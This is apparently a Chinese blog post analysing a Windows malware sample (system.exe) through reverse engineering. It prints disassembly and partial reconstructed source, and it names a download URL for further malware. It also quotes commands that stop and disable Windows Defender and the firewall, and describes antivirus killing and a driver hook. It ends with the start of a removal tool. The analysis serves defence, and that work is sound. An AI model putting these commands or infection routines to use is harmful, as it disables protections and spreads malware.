前幾日電腦啟動項總是出現(xiàn)一個叫 system.exe 的啟動項,,前幾次就刪除作罷,也沒細(xì)細(xì)追究,,但幾次以后厭煩了,直接拿出 IDA,,OD 分析,,然后就有了這篇文章。
先描述一下病毒行為 system.exe 釋放文件里面的兩個 dll,,并用 rundll32 啟動兩個 dll grea.dll(以后簡稱叫做 dll1,,文件名生成隨機) 3 個線程工作,第一個線程下載 http://trt10.:8080/rt10/d.txt 文件,,并根據(jù)里面的列表下載其他 virus 并執(zhí)行,。第二個線程將system.exe 寫入啟動項。第三個線程枚舉磁盤上的 exe 文件,,將一段 payload 插入其中,,并將 system.exe 寫入文件結(jié)尾,。
jmgr.dll (dll2,,文件名也是隨機)停止防火墻、Winfender,,并加載驅(qū)動 cdriver.sys 檢測并關(guān)閉殺毒軟件(McAfee,、360、瑞星,、ESET)
CDriver.sys 根據(jù)第二個 dll 的指令實行殺進(jìn)程,,hook ZwCreateProcess Ex 禁止進(jìn)程啟動
其中 system.exe 代碼已經(jīng)逆的差不多,直接給逆向好的源碼吧,。(釋放并運行dll1已經(jīng)完全逆向出來,,dll2 類同,就不再繼續(xù)逆了,,把 GetStringHash 函數(shù)逆出來還是不錯的,,后面其他模塊的分析會繼續(xù)用到這個函數(shù),此函數(shù)是計算字符串的 hash 值,,后面的進(jìn)程名也用到,,無法還原進(jìn)程名)
代碼: #pragma comment(linker, '/ENTRY:entry') #include // #define RELEASE_PUBLIC
extern unsigned char Dll1[0xD400]; extern unsigned char Dll2[];
void LoopGetFileName(char* buf, int index, int seed) // 00401000 { buf[index] = seed%24 + 'a'; int nextSeed = seed/10; if (nextSeed > 0) .......
整個程序流程很簡單,就是定位函數(shù)繁瑣的操作
第一個 dll,,grea.dll 分析:dll 沒有入口,,只有一個導(dǎo)出函數(shù) Execute Execute一進(jìn)入就創(chuàng)建三個線程
代碼: .text:10002476 push 0 ; lpThreadId .text:10002478 push 0 ; dwCreationFlags .text:1000247A push 0 ; lpParameter .text:1000247C push offset RunDownAndExec ; 執(zhí)行下載病毒的工作,然后執(zhí)行病毒體 .text:10002481 push 0 ; dwStackSize .text:10002483 push 0 ; lpThreadAttributes .text:10002485 call ds:CreateThread .text:10002485 .text:1000248B mov [ebp+hHandle], eax .text:1000248E mov edx, [ebp+hHandle] .text:10002491 push edx ; hObject .text:10002492 call ds:CloseHandle ......
然后復(fù)制 wininet.dll 到零時目錄加載,得到 Internet 函數(shù)去下載文件并執(zhí)行
代碼: .text:100021F0 ; DWORD __stdcall RunDownAndExec(LPVOID a1) .text:100021F0 RunDownAndExec proc near ; DATA XREF: Exucute+AC o .text:100021F0 .text:100021F0 .text:100021F0 push ebp .text:100021F1 mov ebp, esp .text:100021F3 sub esp, 338h .text:100021F9 push 214C6981h ; GetSystemDirectoryA .text:100021FE call GetHashProcAddr .text:100021FE .text:10002203 add esp, 4 .text:10002206 mov [ebp+GetSystemDirectoryA], eax .text:1000220C push 104h .text:10002211 lea eax, [ebp+String1] .text:10002217 push eax .text:10002218 call [ebp+GetSystemDirectoryA] .text:10002218 ......
分析第二個 dll,,jmgr.dll
一開始就關(guān)閉防火墻,、windows自帶病毒掃描程序
代碼: .text:10001D00 push ebp .text:10001D01 mov ebp, esp .text:10001D03 sub esp, 290h .text:10001D09 push 289FBD13h .text:10001D0E call GetHashProcAddr .text:10001D0E .text:10001D13 add esp, 4 .text:10001D16 mov [ebp+WinExec], eax .text:10001D1C push 0 .text:10001D1E push offset s->NetStopWindefend ; 'net stop WinDefend' .text:10001D23 call [ebp+WinExec] ; 關(guān)閉WinDefend服務(wù) .text:10001D23 .text:10001D29 push 0 .text:10001D2B push offset s->NetStopMpssvc ; 'net stop MpsSvc' .text:10001D30 call [ebp+WinExec] ; 關(guān)閉防火墻 .text:10001D30 .text:10001D36 push 0 .text:10001D38 push offset s->ScConfigWindefendStartDisabled ; 'sc config WinDefend start= disabled' .text:10001D3D call [ebp+WinExec] ; 禁用WinDefend .text:10001D3D .text:10001D43 push 0 .text:10001D45 push offset s->ScConfigMpssvcStartDisabled ; 'sc config MpsSvc start= disabled' .text:10001D4A call [ebp+WinExec] ; 禁用防火墻
里面一堆的關(guān)閉殺軟服務(wù)工作
代碼: .text:10001B6B mov byte ptr [ebp+var_298+3], 'h' .text:10001B72 mov byte ptr [ebp+var_294], 'i' .text:10001B79 mov byte ptr [ebp+var_294+1], 'e' .text:10001B80 mov byte ptr [ebp+var_294+2], 'l' .text:10001B87 mov byte ptr [ebp+var_294+3], 'd' .text:10001B8E mov byte ptr [ebp+var_290], 0 .text:10001B95 lea ecx, [ebp+var_298] .text:10001B9B push ecx ; lpString2 .text:10001B9C call StopService ; 關(guān)閉 Mcshield 服務(wù) .text:10001B9C .text:10001BA1 add esp, 4 .text:10001BA4 mov byte ptr [ebp+var_2A8], 'M' .text:10001BAB mov byte ptr [ebp+var_2A8+1], 'c' .text:10001BB2 mov byte ptr [ebp+var_2A8+2], 'O' .text:10001BB9 mov byte ptr [ebp+var_2A8+3], 'D' .text:10001BC0 mov byte ptr [ebp+var_2A4], 'S' .text:10001BC7 mov byte ptr [ebp+var_2A4+1], 0 .text:10001BCE lea edx, [ebp+var_2A8] .text:10001BD4 push edx ; lpString2 .text:10001BD5 call StopService ; 關(guān)閉 McODS 服務(wù) .text:10001BD5 .text:10001BDA add esp, 4 .text:10001BDD mov byte ptr [ebp+var_2BC], 'm' .text:10001BE4 mov byte ptr [ebp+var_2BC+1], 'c' .text:10001BEB mov byte ptr [ebp+var_2BC+2], 'm' .text:10001BF2 mov byte ptr [ebp+var_2BC+3], 's' .text:10001BF9 mov byte ptr [ebp+var_2B8], 'c' .text:10001C00 mov byte ptr [ebp+var_2B8+1], 's' .text:10001C07 mov byte ptr [ebp+var_2B8+2], 'v' .text:10001C0E mov byte ptr [ebp+var_2B8+3], 'c' .text:10001C15 mov byte ptr [ebp+var_2B4], 0 .text:10001C1C lea eax, [ebp+var_2BC] .text:10001C22 push eax ; lpString2 .text:10001C23 call StopService ; 關(guān)閉 mcmscsvc 服務(wù) .....
圖中有誤,是利用驅(qū)動殺進(jìn)程,,而非利用調(diào)用
CDriver.sys 分析 驅(qū)動內(nèi)容就非常簡單了,,主要功能都在IoControlRoutine中,里面幾個命令功能
代碼: 0x22E14B 傳入SSDT的id與地址,,然后hook SSDT 0x222009 attach到進(jìn)程然后殺死進(jìn)程(傳入pid) 0x222006 hook ZwCreateProcessEx,,ZwCreateProcessEx中根據(jù)SectionHandle得到文件名,然后計算hash,,根據(jù)里面的hash列表禁止啟動某部分程序 0x222007 unhook ZwCreateProcessEx
完了最后寫一個專業(yè)殺工具
代碼: BOOL KillVirus(LPTSTR szFileName) { BOOL retValue = FALSE; DWORD dwBytes; HANDLE hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return retValue; } DWORD dwSize = GetFileSize(hFile, NULL); LPBYTE pBuf = (PBYTE)AllocMemory(dwSize); SetFilePointer(hFile,0, NULL, FILE_BEGIN); ReadFile(hFile, pBuf, dwSize, &dwBytes, NULL); CloseHandle(hFile);
do { PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS peheader = (PIMAGE_NT_HEADERS)((LPBYTE)Header + Header->e_lfanew); ......
點擊左下角,,查看全部代碼哦~
|